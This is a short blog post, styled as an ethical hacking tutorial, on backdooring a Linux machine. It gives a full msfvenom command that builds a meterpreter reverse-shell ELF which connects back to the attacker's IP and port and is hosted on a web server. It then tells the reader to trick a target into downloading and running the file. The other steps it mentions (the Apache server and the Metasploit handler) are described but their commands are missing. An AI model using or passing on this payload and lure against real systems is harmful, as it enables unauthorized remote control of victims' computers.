Hacking Linux Operating System with malware - Only CyberSecurity

Ethical Hacking Tutorial, Cybersecurity

Breaking

Thursday, August 30, 2018

Hacking Linux Operating System with malware


In this tutorial we will learn how to hack a linux operating system with malware and how to get control of the system and what can we do after deploying the malware into victim's computer. Remember we will only learn how to inject a malware and control the victim's pc. We will not learn how to make a malware.

Create a Linux malware using Msfvenom. Execute the following command to create a malware that can run on a Linux machine and act as a backdoor.

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<attacker’s IP> LPORT=<attacker’s port> -f elf --platform linux -o /var/www/html/<filename.elf>

The malware file is saved on to web root of attacker’s Kali Linux machine.



To enable targets to download this malware, start apache server by executing below command


Load Metasploit Framework to start malware listener.


Let us use multi handler exploit to handle reverse connections. Run the following command.


Make sure to use the same payload that was used during malware creation using msfvenom and configure payload options. Execute the exploit command, which starts the handler.

Trick your target to download and execute the .elf file.



Soon after target executes the malware file, the attacker will gain a meterpreter session from where he can control target computer (refer chapter 6 for meterpreter usage).




By following the above commands you are able to get control of a linux system.

Happy Hacking:)

No comments:

Post a Comment